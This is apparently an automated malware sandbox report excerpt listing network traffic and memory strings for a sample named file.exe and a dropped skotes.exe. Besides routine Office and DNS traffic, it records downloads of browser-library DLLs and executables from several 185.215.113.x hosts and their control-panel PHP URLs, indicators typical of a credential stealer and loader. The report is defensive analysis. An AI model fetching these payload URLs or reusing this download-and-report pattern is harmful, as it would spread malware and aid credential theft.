Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pOWV24n9+thOSsN&MD=xn1Luz+o HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exek9
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe/M
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d7
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe710001
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeAC
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeD
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeJCFf
Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeT
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeencoded
Source: skotes.exe, 00000018.00000002.3324664657.00000000007ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exem32
Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exex
Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe~
Source: file.exe, 00000000.00000002.2526195665.0000000000335000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2528465742.000000000120E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlln
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllX
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllY
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlln
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllJ
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php%
Source: file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php&
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpg
Source: file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phph
Source: file.exe, 00000000.00000002.2526195665.0000000000335000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.2526195665.0000000000335000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpA9-g
Source: skotes.exe, 00000018.00000002.3324664657.00000000007FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: skotes.exe, 00000018.00000002.3324664657.00000000007BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpO
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpi:
Source: skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu:
